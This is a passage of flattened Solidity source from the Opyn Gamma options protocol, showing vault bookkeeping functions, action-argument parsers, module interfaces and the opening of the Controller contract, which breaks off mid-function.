address[] collateralAssets;
// quantity of oTokens minted/written for each oToken address in shortOtokens
uint256[] shortAmounts;
// quantity of oTokens owned and held in the vault for each oToken address in longOtokens
uint256[] longAmounts;
// quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets
uint256[] collateralAmounts;
}
/**
* @dev increase the short oToken balance in a vault when a new oToken is minted
* @param _vault vault to add or increase the short position in
* @param _shortOtoken address of the _shortOtoken being minted from the user's vault
* @param _amount number of _shortOtoken being minted from the user's vault
* @param _index index of _shortOtoken in the user's vault.shortOtokens array
*/
function addShort(
Vault storage _vault,
address _shortOtoken,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "V1");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.shortOtokens.length) && (_index == _vault.shortAmounts.length)) {
_vault.shortOtokens.push(_shortOtoken);
_vault.shortAmounts.push(_amount);
} else {
require((_index < _vault.shortOtokens.length) && (_index < _vault.shortAmounts.length), "V2");
address existingShort = _vault.shortOtokens[_index];
require((existingShort == _shortOtoken) || (existingShort == address(0)), "V3");
_vault.shortAmounts[_index] = _vault.shortAmounts[_index].add(_amount);
_vault.shortOtokens[_index] = _shortOtoken;
}
}
/**
* @dev decrease the short oToken balance in a vault when an oToken is burned
* @param _vault vault to decrease short position in
* @param _shortOtoken address of the _shortOtoken being reduced in the user's vault
* @param _amount number of _shortOtoken being reduced in the user's vault
* @param _index index of _shortOtoken in the user's vault.shortOtokens array
*/
function removeShort(
Vault storage _vault,
address _shortOtoken,
uint256 _amount,
uint256 _index
) external {
// check that the removed short oToken exists in the vault at the specified index
require(_index < _vault.shortOtokens.length, "V2");
require(_vault.shortOtokens[_index] == _shortOtoken, "V3");
uint256 newShortAmount = _vault.shortAmounts[_index].sub(_amount);
if (newShortAmount == 0) {
delete _vault.shortOtokens[_index];
}
_vault.shortAmounts[_index] = newShortAmount;
}
/**
* @dev increase the long oToken balance in a vault when an oToken is deposited
* @param _vault vault to add a long position to
* @param _longOtoken address of the _longOtoken being added to the user's vault
* @param _amount number of _longOtoken the protocol is adding to the user's vault
* @param _index index of _longOtoken in the user's vault.longOtokens array
*/
function addLong(
Vault storage _vault,
address _longOtoken,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "V4");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.longOtokens.length) && (_index == _vault.longAmounts.length)) {
_vault.longOtokens.push(_longOtoken);
_vault.longAmounts.push(_amount);
} else {
require((_index < _vault.longOtokens.length) && (_index < _vault.longAmounts.length), "V5");
address existingLong = _vault.longOtokens[_index];
require((existingLong == _longOtoken) || (existingLong == address(0)), "V6");
_vault.longAmounts[_index] = _vault.longAmounts[_index].add(_amount);
_vault.longOtokens[_index] = _longOtoken;
}
}
/**
* @dev decrease the long oToken balance in a vault when an oToken is withdrawn
* @param _vault vault to remove a long position from
* @param _longOtoken address of the _longOtoken being removed from the user's vault
* @param _amount number of _longOtoken the protocol is removing from the user's vault
* @param _index index of _longOtoken in the user's vault.longOtokens array
*/
function removeLong(
Vault storage _vault,
address _longOtoken,
uint256 _amount,
uint256 _index
) external {
// check that the removed long oToken exists in the vault at the specified index
require(_index < _vault.longOtokens.length, "V5");
require(_vault.longOtokens[_index] == _longOtoken, "V6");
uint256 newLongAmount = _vault.longAmounts[_index].sub(_amount);
if (newLongAmount == 0) {
delete _vault.longOtokens[_index];
}
_vault.longAmounts[_index] = newLongAmount;
}
/**
* @dev increase the collateral balance in a vault
* @param _vault vault to add collateral to
* @param _collateralAsset address of the _collateralAsset being added to the user's vault
* @param _amount number of _collateralAsset being added to the user's vault
* @param _index index of _collateralAsset in the user's vault.collateralAssets array
*/
function addCollateral(
Vault storage _vault,
address _collateralAsset,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "V7");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.collateralAssets.length) && (_index == _vault.collateralAmounts.length)) {
_vault.collateralAssets.push(_collateralAsset);
_vault.collateralAmounts.push(_amount);
} else {
require((_index < _vault.collateralAssets.length) && (_index < _vault.collateralAmounts.length), "V8");
address existingCollateral = _vault.collateralAssets[_index];
require((existingCollateral == _collateralAsset) || (existingCollateral == address(0)), "V9");
_vault.collateralAmounts[_index] = _vault.collateralAmounts[_index].add(_amount);
_vault.collateralAssets[_index] = _collateralAsset;
}
}
/**
* @dev decrease the collateral balance in a vault
* @param _vault vault to remove collateral from
* @param _collateralAsset address of the _collateralAsset being removed from the user's vault
* @param _amount number of _collateralAsset being removed from the user's vault
* @param _index index of _collateralAsset in the user's vault.collateralAssets array
*/
function removeCollateral(
Vault storage _vault,
address _collateralAsset,
uint256 _amount,
uint256 _index
) external {
// check that the removed collateral exists in the vault at the specified index
require(_index < _vault.collateralAssets.length, "V8");
require(_vault.collateralAssets[_index] == _collateralAsset, "V9");
uint256 newCollateralAmount = _vault.collateralAmounts[_index].sub(_amount);
if (newCollateralAmount == 0) {
delete _vault.collateralAssets[_index];
}
_vault.collateralAmounts[_index] = newCollateralAmount;
}
}
// File: contracts/libs/Actions.sol
/**
* @title Actions
* @author Opyn Team
* @notice A library that provides a ActionArgs struct, sub types of Action structs, and functions to parse ActionArgs into specific Actions.
* errorCode
* A1 can only parse arguments for open vault actions
* A2 cannot open vault for an invalid account
* A3 cannot open vault with an invalid type
* A4 can only parse arguments for mint actions
* A5 cannot mint from an invalid account
* A6 can only parse arguments for burn actions
* A7 cannot burn from an invalid account
* A8 can only parse arguments for deposit actions
* A9 cannot deposit to an invalid account
* A10 can only parse arguments for withdraw actions
* A11 cannot withdraw from an invalid account
* A12 cannot withdraw to an invalid account
* A13 can only parse arguments for redeem actions
* A14 cannot redeem to an invalid account
* A15 can only parse arguments for settle vault actions
* A16 cannot settle vault for an invalid account
* A17 cannot withdraw payout to an invalid account
* A18 can only parse arguments for liquidate action
* A19 cannot liquidate vault for an invalid account owner
* A20 cannot send collateral to an invalid account
* A21 cannot parse liquidate action with no round id
* A22 can only parse arguments for call actions
* A23 target address cannot be address(0)
*/
library Actions {
// possible actions that can be performed
enum ActionType {
OpenVault,
MintShortOption,
BurnShortOption,
DepositLongOption,
WithdrawLongOption,
DepositCollateral,
WithdrawCollateral,
SettleVault,
Redeem,
Call,
Liquidate
}
struct ActionArgs {
// type of action that is being performed on the system
ActionType actionType;
// address of the account owner
address owner;
// address which we move assets from or to (depending on the action type)
address secondAddress;
// asset that is to be transfered
address asset;
// index of the vault that is to be modified (if any)
uint256 vaultId;
// amount of asset that is to be transfered
uint256 amount;
// each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version
// in future versions this would be the index of the short / long / collateral asset that needs to be modified
uint256 index;
// any other data that needs to be passed in for arbitrary function calls
bytes data;
}
struct MintArgs {
// address of the account owner
address owner;
// index of the vault from which the asset will be minted
uint256 vaultId;
// address to which we transfer the minted oTokens
address to;
// oToken that is to be minted
address otoken;
// each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version
// in future versions this would be the index of the short / long / collateral asset that needs to be modified
uint256 index;
// amount of oTokens that is to be minted
uint256 amount;
}
struct BurnArgs {
// address of the account owner
address owner;
// index of the vault from which the oToken will be burned
uint256 vaultId;
// address from which we transfer the oTokens
address from;
// oToken that is to be burned
address otoken;
// each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version
// in future versions this would be the index of the short / long / collateral asset that needs to be modified
uint256 index;
// amount of oTokens that is to be burned
uint256 amount;
}
struct OpenVaultArgs {
// address of the account owner
address owner;
// vault id to create
uint256 vaultId;
// vault type, 0 for spread/max loss and 1 for naked margin vault
uint256 vaultType;
}
struct DepositArgs {
// address of the account owner
address owner;
// index of the vault to which the asset will be added
uint256 vaultId;
// address from which we transfer the asset
address from;
// asset that is to be deposited
address asset;
// each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version
// in future versions this would be the index of the short / long / collateral asset that needs to be modified
uint256 index;
// amount of asset that is to be deposited
uint256 amount;
}
struct RedeemArgs {
// address to which we pay out the oToken proceeds
address receiver;
// oToken that is to be redeemed
address otoken;
// amount of oTokens that is to be redeemed
uint256 amount;
}
struct WithdrawArgs {
// address of the account owner
address owner;
// index of the vault from which the asset will be withdrawn
uint256 vaultId;
// address to which we transfer the asset
address to;
// asset that is to be withdrawn
address asset;
// each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version
// in future versions this would be the index of the short / long / collateral asset that needs to be modified
uint256 index;
// amount of asset that is to be withdrawn
uint256 amount;
}
struct SettleVaultArgs {
// address of the account owner
address owner;
// index of the vault to which is to be settled
uint256 vaultId;
// address to which we transfer the remaining collateral
address to;
}
struct LiquidateArgs {
// address of the vault owner to liquidate
address owner;
// address of the liquidated collateral receiver
address receiver;
// vault id to liquidate
uint256 vaultId;
// amount of debt(otoken) to repay
uint256 amount;
// chainlink round id
uint256 roundId;
}
struct CallArgs {
// address of the callee contract
address callee;
// data field for external calls
bytes data;
}
/**
* @notice parses the passed in action arguments to get the arguments for an open vault action
* @param _args general action arguments structure
* @return arguments for a open vault action
*/
function _parseOpenVaultArgs(ActionArgs memory _args) internal pure returns (OpenVaultArgs memory) {
require(_args.actionType == ActionType.OpenVault, "A1");
require(_args.owner != address(0), "A2");
// if not _args.data included, vault type will be 0 by default
uint256 vaultType;
if (_args.data.length == 32) {
// decode vault type from _args.data
vaultType = abi.decode(_args.data, (uint256));
}
// for now we only have 2 vault types
require(vaultType < 2, "A3");
return OpenVaultArgs({owner: _args.owner, vaultId: _args.vaultId, vaultType: vaultType});
}
/**
* @notice parses the passed in action arguments to get the arguments for a mint action
* @param _args general action arguments structure
* @return arguments for a mint action
*/
function _parseMintArgs(ActionArgs memory _args) internal pure returns (MintArgs memory) {
require(_args.actionType == ActionType.MintShortOption, "A4");
require(_args.owner != address(0), "A5");
return
MintArgs({
owner: _args.owner,
vaultId: _args.vaultId,
to: _args.secondAddress,
otoken: _args.asset,
index: _args.index,
amount: _args.amount
});
}
/**
* @notice parses the passed in action arguments to get the arguments for a burn action
* @param _args general action arguments structure
* @return arguments for a burn action
*/
function _parseBurnArgs(ActionArgs memory _args) internal pure returns (BurnArgs memory) {
require(_args.actionType == ActionType.BurnShortOption, "A6");
require(_args.owner != address(0), "A7");
return
BurnArgs({
owner: _args.owner,
vaultId: _args.vaultId,
from: _args.secondAddress,
otoken: _args.asset,
index: _args.index,
amount: _args.amount
});
}
/**
* @notice parses the passed in action arguments to get the arguments for a deposit action
* @param _args general action arguments structure
* @return arguments for a deposit action
*/
function _parseDepositArgs(ActionArgs memory _args) internal pure returns (DepositArgs memory) {
require(
(_args.actionType == ActionType.DepositLongOption) || (_args.actionType == ActionType.DepositCollateral),
"A8"
);
require(_args.owner != address(0), "A9");
return
DepositArgs({
owner: _args.owner,
vaultId: _args.vaultId,
from: _args.secondAddress,
asset: _args.asset,
index: _args.index,
amount: _args.amount
});
}
/**
* @notice parses the passed in action arguments to get the arguments for a withdraw action
* @param _args general action arguments structure
* @return arguments for a withdraw action
*/
function _parseWithdrawArgs(ActionArgs memory _args) internal pure returns (WithdrawArgs memory) {
require(
(_args.actionType == ActionType.WithdrawLongOption) || (_args.actionType == ActionType.WithdrawCollateral),
"A10"
);
require(_args.owner != address(0), "A11");
require(_args.secondAddress != address(0), "A12");
return
WithdrawArgs({
owner: _args.owner,
vaultId: _args.vaultId,
to: _args.secondAddress,
asset: _args.asset,
index: _args.index,
amount: _args.amount
});
}
/**
* @notice parses the passed in action arguments to get the arguments for an redeem action
* @param _args general action arguments structure
* @return arguments for a redeem action
*/
function _parseRedeemArgs(ActionArgs memory _args) internal pure returns (RedeemArgs memory) {
require(_args.actionType == ActionType.Redeem, "A13");
require(_args.secondAddress != address(0), "A14");
return RedeemArgs({receiver: _args.secondAddress, otoken: _args.asset, amount: _args.amount});
}
/**
* @notice parses the passed in action arguments to get the arguments for a settle vault action
* @param _args general action arguments structure
* @return arguments for a settle vault action
*/
function _parseSettleVaultArgs(ActionArgs memory _args) internal pure returns (SettleVaultArgs memory) {
require(_args.actionType == ActionType.SettleVault, "A15");
require(_args.owner != address(0), "A16");
require(_args.secondAddress != address(0), "A17");
return SettleVaultArgs({owner: _args.owner, vaultId: _args.vaultId, to: _args.secondAddress});
}
function _parseLiquidateArgs(ActionArgs memory _args) internal pure returns (LiquidateArgs memory) {
require(_args.actionType == ActionType.Liquidate, "A18");
require(_args.owner != address(0), "A19");
require(_args.secondAddress != address(0), "A20");
require(_args.data.length == 32, "A21");
// decode chainlink round id from _args.data
uint256 roundId = abi.decode(_args.data, (uint256));
return
LiquidateArgs({
owner: _args.owner,
receiver: _args.secondAddress,
vaultId: _args.vaultId,
amount: _args.amount,
roundId: roundId
});
}
/**
* @notice parses the passed in action arguments to get the arguments for a call action
* @param _args general action arguments structure
* @return arguments for a call action
*/
function _parseCallArgs(ActionArgs memory _args) internal pure returns (CallArgs memory) {
require(_args.actionType == ActionType.Call, "A22");
require(_args.secondAddress != address(0), "A23");
return CallArgs({callee: _args.secondAddress, data: _args.data});
}
}
// File: contracts/interfaces/AddressBookInterface.sol
interface AddressBookInterface {
/* Getters */
function getOtokenImpl() external view returns (address);
function getOtokenFactory() external view returns (address);
function getWhitelist() external view returns (address);
function getController() external view returns (address);
function getOracle() external view returns (address);
function getMarginPool() external view returns (address);
function getMarginCalculator() external view returns (address);
function getLiquidationManager() external view returns (address);
function getAddress(bytes32 _id) external view returns (address);
/* Setters */
function setOtokenImpl(address _otokenImpl) external;
function setOtokenFactory(address _factory) external;
function setOracleImpl(address _otokenImpl) external;
function setWhitelist(address _whitelist) external;
function setController(address _controller) external;
function setMarginPool(address _marginPool) external;
function setMarginCalculator(address _calculator) external;
function setLiquidationManager(address _liquidationManager) external;
function setAddress(bytes32 _id, address _newImpl) external;
}
// File: contracts/interfaces/OtokenInterface.sol
interface OtokenInterface {
function addressBook() external view returns (address);
function underlyingAsset() external view returns (address);
function strikeAsset() external view returns (address);
function collateralAsset() external view returns (address);
function strikePrice() external view returns (uint256);
function expiryTimestamp() external view returns (uint256);
function isPut() external view returns (bool);
function init(
address _addressBook,
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external;
function getOtokenDetails()
external
view
returns (
address,
address,
address,
uint256,
uint256,
bool
);
function mintOtoken(address account, uint256 amount) external;
function burnOtoken(address account, uint256 amount) external;
}
// File: contracts/interfaces/MarginCalculatorInterface.sol
interface MarginCalculatorInterface {
function addressBook() external view returns (address);
function getExpiredPayoutRate(address _otoken) external view returns (uint256);
function getExcessCollateral(MarginVault.Vault calldata _vault, uint256 _vaultType)
external
view
returns (uint256 netValue, bool isExcess);
function isLiquidatable(
MarginVault.Vault memory _vault,
uint256 _vaultType,
uint256 _vaultLatestUpdate,
uint256 _roundId
)
external
view
returns (
bool,
uint256,
uint256
);
}
// File: contracts/interfaces/OracleInterface.sol
interface OracleInterface {
function isLockingPeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool);
function isDisputePeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool);
function getExpiryPrice(address _asset, uint256 _expiryTimestamp) external view returns (uint256, bool);
function getDisputer() external view returns (address);
function getPricer(address _asset) external view returns (address);
function getPrice(address _asset) external view returns (uint256);
function getPricerLockingPeriod(address _pricer) external view returns (uint256);
function getPricerDisputePeriod(address _pricer) external view returns (uint256);
function getChainlinkRoundData(address _asset, uint80 _roundId) external view returns (uint256, uint256);
// Non-view function
function setAssetPricer(address _asset, address _pricer) external;
function setLockingPeriod(address _pricer, uint256 _lockingPeriod) external;
function setDisputePeriod(address _pricer, uint256 _disputePeriod) external;
function setExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function disputeExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function setDisputer(address _disputer) external;
}
// File: contracts/interfaces/WhitelistInterface.sol
interface WhitelistInterface {
/* View functions */
function addressBook() external view returns (address);
function isWhitelistedProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external view returns (bool);
function isWhitelistedCollateral(address _collateral) external view returns (bool);
function isWhitelistedOtoken(address _otoken) external view returns (bool);
function isWhitelistedCallee(address _callee) external view returns (bool);
/* Admin / factory only functions */
function whitelistProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external;
function blacklistProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external;
function whitelistCollateral(address _collateral) external;
function blacklistCollateral(address _collateral) external;
function whitelistOtoken(address _otoken) external;
function blacklistOtoken(address _otoken) external;
function whitelistCallee(address _callee) external;
function blacklistCallee(address _callee) external;
}
// File: contracts/interfaces/MarginPoolInterface.sol
interface MarginPoolInterface {
/* Getters */
function addressBook() external view returns (address);
function farmer() external view returns (address);
function getStoredBalance(address _asset) external view returns (uint256);
/* Admin-only functions */
function setFarmer(address _farmer) external;
function farm(
address _asset,
address _receiver,
uint256 _amount
) external;
/* Controller-only functions */
function transferToPool(
address _asset,
address _user,
uint256 _amount
) external;
function transferToUser(
address _asset,
address _user,
uint256 _amount
) external;
function batchTransferToPool(
address[] calldata _asset,
address[] calldata _user,
uint256[] calldata _amount
) external;
function batchTransferToUser(
address[] calldata _asset,
address[] calldata _user,
uint256[] calldata _amount
) external;
}
// File: contracts/interfaces/CalleeInterface.sol
/**
* @dev Contract interface that can be called from Controller as a call action.
*/
interface CalleeInterface {
/**
* Allows users to send this contract arbitrary data.
* @param _sender The msg.sender to Controller
* @param _data Arbitrary data given by the sender
*/
function callFunction(address payable _sender, bytes memory _data) external;
}
// File: contracts/core/Controller.sol
/**
* Controller Error Codes
* C1: sender is not full pauser
* C2: sender is not partial pauser
* C3: callee is not a whitelisted address
* C4: system is partially paused
* C5: system is fully paused
* C6: msg.sender is not authorized to run action
* C7: invalid addressbook address
* C8: invalid owner address
* C9: invalid input
* C10: fullPauser cannot be set to address zero
* C11: partialPauser cannot be set to address zero
* C12: can not run actions for different owners
* C13: can not run actions on different vaults
* C14: invalid final vault state
* C15: can not run actions on inexistent vault
* C16: cannot deposit long otoken from this address
* C17: otoken is not whitelisted to be used as collateral
* C18: otoken used as collateral is already expired
* C19: can not withdraw an expired otoken
* C20: cannot deposit collateral from this address
* C21: asset is not whitelisted to be used as collateral
* C22: can not withdraw collateral from a vault with an expired short otoken
* C23: otoken is not whitelisted to be minted
* C24: can not mint expired otoken
* C25: cannot burn from this address
* C26: can not burn expired otoken
* C27: otoken is not whitelisted to be redeemed
* C28: can not redeem un-expired otoken
* C29: asset prices not finalized yet
* C30: can't settle vault with no otoken
* C31: can not settle vault with un-expired otoken
* C32: can not settle undercollateralized vault
* C33: can not liquidate vault
* C34: can not leave less than collateral dust
* C35: invalid vault id
* C36: cap amount should be greater than zero
* C37: collateral exceed naked margin cap
*/
/**
* @title Controller
* @author Opyn Team
* @notice Contract that controls the Gamma Protocol and the interaction of all sub contracts
*/
contract Controller is Initializable, OwnableUpgradeSafe, ReentrancyGuardUpgradeSafe {
using MarginVault for MarginVault.Vault;
using SafeMath for uint256;
AddressBookInterface public addressbook;
WhitelistInterface public whitelist;
OracleInterface public oracle;
MarginCalculatorInterface public calculator;
MarginPoolInterface public pool;
///@dev scale used in MarginCalculator
uint256 internal constant BASE = 8;
/// @notice address that has permission to partially pause the system, where system functionality is paused
/// except redeem and settleVault
address public partialPauser;
/// @notice address that has permission to fully pause the system, where all system functionality is paused
address public fullPauser;
/// @notice True if all system functionality is paused other than redeem and settle vault
bool public systemPartiallyPaused;
/// @notice True if all system functionality is paused
bool public systemFullyPaused;
/// @notice True if a call action can only be executed to a whitelisted callee
bool public callRestricted;
/// @dev mapping between an owner address and the number of owner address vaults
mapping(address => uint256) internal accountVaultCounter;
/// @dev mapping between an owner address and a specific vault using a vault id
mapping(address => mapping(uint256 => MarginVault.Vault)) internal vaults;
/// @dev mapping between an account owner and their approved or unapproved account operators
mapping(address => mapping(address => bool)) internal operators;
/******************************************************************** V2.0.0 storage upgrade ******************************************************/
/// @dev mapping to map vault by each vault type, naked margin vault should be set to 1, spread/max loss vault should be set to 0
mapping(address => mapping(uint256 => uint256)) internal vaultType;
/// @dev mapping to store the timestamp at which the vault was last updated, will be updated in every action that changes the vault state or when calling sync()
mapping(address => mapping(uint256 => uint256)) internal vaultLatestUpdate;
/// @dev mapping to store cap amount for naked margin vault per options collateral asset (scaled by collateral asset decimals)
mapping(address => uint256) internal nakedCap;
/// @dev mapping to store amount of naked margin vaults in pool
mapping(address => uint256) internal nakedPoolBalance;
/// @notice emits an event when an account operator is updated for a specific account owner
event AccountOperatorUpdated(address indexed accountOwner, address indexed operator, bool isSet);
/// @notice emits an event when a new vault is opened
event VaultOpened(address indexed accountOwner, uint256 vaultId, uint256 indexed vaultType);
/// @notice emits an event when a long oToken is deposited into a vault
event LongOtokenDeposited(
address indexed otoken,
address indexed accountOwner,
address indexed from,
uint256 vaultId,
uint256 amount
);
/// @notice emits an event when a long oToken is withdrawn from a vault
event LongOtokenWithdrawed(
address indexed otoken,
address indexed AccountOwner,
address indexed to,
uint256 vaultId,
uint256 amount
);
/// @notice emits an event when a collateral asset is deposited into a vault
event CollateralAssetDeposited(
address indexed asset,
address indexed accountOwner,
address indexed from,
uint256 vaultId,
uint256 amount
);
/// @notice emits an event when a collateral asset is withdrawn from a vault
event CollateralAssetWithdrawed(
address indexed asset,
address indexed AccountOwner,
address indexed to,
uint256 vaultId,
uint256 amount
);
/// @notice emits an event when a short oToken is minted from a vault
event ShortOtokenMinted(
address indexed otoken,
address indexed AccountOwner,
address indexed to,
uint256 vaultId,
uint256 amount
);
/// @notice emits an event when a short oToken is burned
event ShortOtokenBurned(
address indexed otoken,
address indexed AccountOwner,
address indexed from,
uint256 vaultId,
uint256 amount
);
/// @notice emits an event when an oToken is redeemed
event Redeem(
address indexed otoken,
address indexed redeemer,
address indexed receiver,
address collateralAsset,
uint256 otokenBurned,
uint256 payout
);
/// @notice emits an event when a vault is settled
event VaultSettled(
address indexed accountOwner,
address indexed oTokenAddress,
address to,
uint256 payout,
uint256 vaultId,
uint256 indexed vaultType
);
/// @notice emits an event when a vault is liquidated
event VaultLiquidated(
address indexed liquidator,
address indexed receiver,
address indexed vaultOwner,
uint256 auctionPrice,
uint256 auctionStartingRound,
uint256 collateralPayout,
uint256 debtAmount,
uint256 vaultId
);
/// @notice emits an event when a call action is executed
event CallExecuted(address indexed from, address indexed to, bytes data);
/// @notice emits an event when the fullPauser address changes
event FullPauserUpdated(address indexed oldFullPauser, address indexed newFullPauser);
/// @notice emits an event when the partialPauser address changes
event PartialPauserUpdated(address indexed oldPartialPauser, address indexed newPartialPauser);
/// @notice emits an event when the system partial paused status changes
event SystemPartiallyPaused(bool isPaused);
/// @notice emits an event when the system fully paused status changes
event SystemFullyPaused(bool isPaused);
/// @notice emits an event when the call action restriction changes
event CallRestricted(bool isRestricted);
/// @notice emits an event when a donation transfer executed
event Donated(address indexed donator, address indexed asset, uint256 amount);
/// @notice emits an event when naked cap is updated
event NakedCapUpdated(address indexed collateral, uint256 cap);
/**
* @notice modifier to check if the system is not partially paused, where only redeem and settleVault is allowed
*/
modifier notPartiallyPaused() {
_isNotPartiallyPaused();
_;
}
/**
* @notice modifier to check if the system is not fully paused, where no functionality is allowed
*/
modifier notFullyPaused() {
_isNotFullyPaused();
_;
}
/**
* @notice modifier to check if sender is the fullPauser address
*/
modifier onlyFullPauser() {
require(msg.sender == fullPauser, "C1");
_;
}
/**
* @notice modifier to check if the sender is the partialPauser address
*/
modifier onlyPartialPauser() {
require(msg.sender == partialPauser, "C2");
_;
}
/**
* @notice modifier to check if the sender is the account owner or an approved account operator
* @param _sender sender address
* @param _accountOwner account owner address
*/
modifier onlyAuthorized(address _sender, address _accountOwner) {
_isAuthorized(_sender, _accountOwner);
_;
}
/**
* @notice modifier to check if the called address is a whitelisted callee address
* @param _callee called address
*/
modifier onlyWhitelistedCallee(address _callee) {
if (callRestricted) {
require(_isCalleeWhitelisted(_callee), "C3");
}
_;
}
/**
* @dev check if the system is not in a partiallyPaused state
*/
function _isNotPartiallyPaused() internal view {
require(!systemPartiallyPaused, "C4");
}
/**
* @dev check if the system is not in an fullyPaused state
*/
function _isNotFullyPaused() internal view {
require(!systemFullyPaused, "C5");
}
/**
* @dev check if the sender is an authorized operator
* @param _sender msg.sender
* @param _accountOwner owner of a vault
*/
function _isAuthorized(address _sender, address _accountOwner) internal view {
require((_sender == _accountOwner) || (operators[_accountOwner][_sender]), "C6");
}
/**
* @notice initalize the deployed contract
* @param _addressBook addressbook module
* @param _owner account owner address
*/
function initialize(address _addressBook, address _owner) external initializer {
require(_addressBook != address(0), "C7");
require(_owner != address(0), "C8");
__Ownable_init(_owner);
__ReentrancyGuard_init_unchained();
addressbook = AddressBookInterface(_addressBook);
_refreshConfigInternal();
callRestricted = true;
}
/**
* @notice send asset amount to margin pool
* @dev use donate() instead of direct transfer() to store the balance in assetBalance
* @param _asset asset address
* @param _amount amount to donate to pool
*/
function donate(address _asset, uint256 _amount) external {
pool.transferToPool(_asset, msg.sender, _amount);
emit Donated(msg.sender, _asset, _amount);
}
/**
* @notice allows the partialPauser to toggle the systemPartiallyPaused variable and partially pause or partially unpause the system
* @dev can only be called by the partialPauser
* @param _partiallyPaused new boolean value to set systemPartiallyPaused to
*/
function setSystemPartiallyPaused(bool _partiallyPaused) external onlyPartialPauser {
require(systemPartiallyPaused != _partiallyPaused, "C9");
systemPartiallyPaused = _partiallyPaused;
emit SystemPartiallyPaused(systemPartiallyPaused);
}
/**
* @notice allows the fullPauser to toggle the systemFullyPaused variable and fully pause or fully unpause the system
* @dev can only be called by the fullyPauser
* @param _fullyPaused new boolean value to set systemFullyPaused to
*/
function setSystemFullyPaused(bool _fullyPaused) external onlyFullPauser {
require(systemFullyPaused != _fullyPaused, "C9");
systemFullyPaused = _fullyPaused;
emit SystemFullyPaused(systemFullyPaused);
}
/**
* @notice allows the owner to set the fullPauser address
* @dev can only be called by the owner
* @param _fullPauser new fullPauser address
*/
function setFullPauser(address _fullPauser) external onlyOwner {
require(_fullPauser != address(0), "C10");
require(fullPauser != _fullPauser, "C9");
emit FullPauserUpdated(fullPauser, _fullPauser);
fullPauser = _fullPauser;
}
/**
* @notice allows the owner to set the partialPauser address
* @dev can only be called by the owner
* @param _partialPauser new partialPauser address
*/
function setPartialPauser(address _partialPauser) external onlyOwner {
require(_partialPauser != address(0), "C11");
require(partialPauser != _partialPauser, "C9");
emit PartialPauserUpdated(partialPauser, _partialPauser);
partialPauser = _partialPauser;
}
/**
* @notice allows the owner to toggle the restriction on whitelisted call actions and only allow whitelisted
* call addresses or allow any arbitrary call addresses
* @dev can only be called by the owner
* @param _isRestricted new call restriction state
*/
function setCallRestriction(bool _isRestricted) external onlyOwner {
require(callRestricted != _isRestricted, "C9");
callRestricted = _isRestricted;
emit CallRestricted(callRestricted);
}
/**
* @notice allows a user to give or revoke privileges to an operator which can act on their behalf on their vaults
* @dev can only be updated by the vault owner
* @param _operator operator that the sender wants to give privileges to or revoke them from
* @param _isOperator new boolean value that expresses if the sender is giving or revoking privileges for _operator
*/
function setOperator(address _operator, bool _isOperator) external {
require(operators[msg.sender][_operator] != _isOperator, "C9");
operators[msg.sender][_operator] = _isOperator;
emit AccountOperatorUpdated(msg.sender, _operator, _isOperator);
}
/**
* @dev updates the configuration of the controller. can only be called by the owner
*/
function refreshConfiguration() external onlyOwner {
_refreshConfigInternal();
}
/**
* @notice set cap amount for collateral asset used in naked margin
* @dev can only be called by owner
* @param _collateral collateral asset address
* @param _cap cap amount, should be scaled by collateral asset decimals
*/
function setNakedCap(address _collateral, uint256 _cap) external onlyOwner {
require(_cap > 0, "C36");
nakedCap[_collateral] = _cap;
emit NakedCapUpdated(_collateral, _cap);
}
/**
* @notice execute a number of actions on specific vaults
* @dev can only be called when the system is not fully paused
* @param _actions array of actions arguments
*/
function operate(Actions.ActionArgs[] memory _actions) external nonReentrant notFullyPaused {
(bool vaultUpdated, address vaultOwner, uint256 vaultId) = _runActions(_actions);
if (vaultUpdated) {
_verifyFinalState(vaultOwner, vaultId);
vaultLatestUpdate[vaultOwner][vaultId] = now;
}
}
/**
* @notice sync vault latest update timestamp
* @dev anyone can update the latest time the vault was touched by calling this function
* vaultLatestUpdate will sync if the vault is well collateralized
* @param _owner vault owner address
* @param _vaultId vault id
*/
function sync(address _owner, uint256 _vaultId) external nonReentrant notFullyPaused {
_verifyFinalState(_owner, _vaultId);
vaultLatestUpdate[_owner][_vaultId] = now;
}
/**
* @notice check if a specific address is an operator for an owner account
* @param _owner account owner address
* @param _operator account operator address
* @return True if the _operator is an approved operator for the _owner account
*/
function isOperator(address _owner, address _operator) external view returns (bool) {
return operators[_owner][_operator];
}
/**
* @notice returns the current controller configuration
* @return whitelist, the address of the whitelist module
* @return oracle, the address of the oracle module
* @return calculator, the address of the calculator module
* @return pool, the address of the pool module
*/
function getConfiguration()
external
view
returns (
address,
address,
address,
address
)
{
return (address(whitelist), address(oracle), address(calculator), address(pool));
}
/**
* @notice return a vault's proceeds pre or post expiry, the amount of collateral that can be removed from a vault
* @param _owner account owner of the vault
* @param _vaultId vaultId to return balances for
* @return amount of collateral that can be taken out
*/
function getProceed(address _owner, uint256 _vaultId) external view returns (uint256) {
(MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_owner, _vaultId);
(uint256 netValue, bool isExcess) = calculator.getExcessCollateral(vault, typeVault);
